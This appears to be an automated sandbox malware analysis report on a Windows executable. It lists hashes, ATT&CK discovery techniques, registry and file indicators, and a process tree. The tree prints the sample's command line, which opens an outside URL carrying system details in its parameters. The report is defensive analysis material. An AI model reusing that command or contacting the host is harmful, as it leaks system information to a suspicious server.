596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7

Analysis

max time kernel
152s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 03:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe
Size

143KB
MD5

7e309a66854b3d516c2f0debe59cf814
SHA1

813bc138e2011020993edf7ab0af4d741abe13c9
SHA256

596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7
SHA512

086160e6378d7721369960b903fac27e77a49eaa2d7d2ef7acc8572f1071960c15eda9628d276212ac0c6658a4fef9bbc22b87f169175e0d98ca39f74e90a0cd
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45D31:pe9IB83ID5L1

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{07AD139C-50C8-4E68-A845-C4220E470029}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{6CC727E4-3E06-4E2C-9CEF-576977089164}.catalogItem	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
220	msedge.exe
220	msedge.exe
2084	msedge.exe
2084	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe
2084	msedge.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1152	596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe
2084	msedge.exe
2084	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1152	596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 2916	1152	596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe	90
PID 1152 wrote to memory of 2916	1152	596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe	90
PID 1152 wrote to memory of 2916	1152	596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe	90
PID 2916 wrote to memory of 2084	2916	cmd.exe	93
PID 2916 wrote to memory of 2084	2916	cmd.exe	93
PID 2084 wrote to memory of 388	2084	msedge.exe	95
PID 2084 wrote to memory of 388	2084	msedge.exe	95
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 308	2084	msedge.exe	98
PID 2084 wrote to memory of 220	2084	msedge.exe	99
PID 2084 wrote to memory of 220	2084	msedge.exe	99
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100
PID 2084 wrote to memory of 4996	2084	msedge.exe	100

C:\Users\Admin\AppData\Local\Temp\596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe
"C:\Users\Admin\AppData\Local\Temp\596bf9f7ead7e699d41f5045db3c21359cb3ae957c910eab7a580f90d81064e7.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5301121^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt43^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5301121&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt43|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd6c9e46f8,0x7ffd6c9e4708,0x7ffd6c9e4718
      4⤵
      PID:388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
      4⤵
      PID:308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3188 /prefetch:8
      4⤵
      PID:4996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3876 /prefetch:1
      4⤵
      PID:4004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3884 /prefetch:1
      4⤵
      PID:2088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4876 /prefetch:8
      4⤵
      PID:64
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1
      4⤵
      PID:2824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
      4⤵
      PID:924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5540 /prefetch:8
      4⤵
      PID:2332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6092 /prefetch:1
      4⤵
      PID:1636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,17329831299967912095,5084224794583133059,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6280 /prefetch:8
      4⤵
      PID:4304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:3172

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
f2080851a6780703a0f3764645202ce1

SHA1
6e16ec7fe0404b0fe43ebd271ca47ffba9fc9588

SHA256
d3969401d4fc819669b9ce997251cc41d4883a31c4f43271b088944fadce3a83

SHA512
50e5661d1b5c66073c34d164b49733d7c1c1d7b2782611596646b60dae81321c5c92f9e64dce980cea8306b29db6136e582dcc07f1a951580c1f9f4d69643121

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

Filesize
472B

MD5
9f6cc8d3fe9092a6d3901e873a87fd87

SHA1
2e0aac117a4cc57596efb3d6f6624c269f94b031

SHA256
e73982e62b92abac3d15b161f4525448cc2bc8b9bacefdcbfc6f87b74ec372e4

SHA512
9736a099967d7ad595439768e45c633ff7d34de92f7cb0c19cd3d4590c4a6dd4fedfcd1b5617c81652e61f4ffe919057507f622f4c6d8d626cfc40234ad2c757

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

Filesize
724B

MD5
f569e1d183b84e8078dc456192127536

SHA1
30c537463eed902925300dd07a87d820a713753f

SHA256
287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

SHA512
49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
cf8a0d2cf2aece25e24171430eb6a406

SHA1
9151a8599b571ebc18c9ecb37c63be46aea6e345

SHA256
e05060677697e616582a709d097995e6cc10449a390e542224ac7e890aca8071

SHA512
ab62eb7140a208467b0f243ffadefd57a47561b10bd51f6f2e45c02b81db0673df841be435af0ed2a5091fadd1ab448e38b2bec4633fff12c67cca3536da640e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

Filesize
402B

MD5
a3c820a23ec5a458b03a71e94562172b

SHA1
9804e9eeeb8c7548ee762a1210671235397c037b

SHA256
004cc6a1b2756049625125c2493e3850ce186de7414e7c091f607115e7e2d969

SHA512
c8cd335f24401b1f5631807bab1debec79998ae51111c0bc29a4039720f10b62db1351caa83e6eae74897c7cbc2707f8cb5b3bed85926c9654b7a034944c1604

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

Filesize
392B

MD5
f04ccfe9eca2fd3984d1521d3bb03519

SHA1
d5a259146a7e880615d2099d73856bef022f936d

SHA256
9e4ebb1ee06486c9a77b6534f733bb002b21e431ff1c1be1291a0f8acc2e92d1

SHA512
748b5ff061cbf9b6ccf666af77f55127cb5c2db8be3ff96fd93d98504a869316a408fada552d0bf0d3b2e03b21da77a50f60a0b056d162972fd019102f7c04f5

Download Submit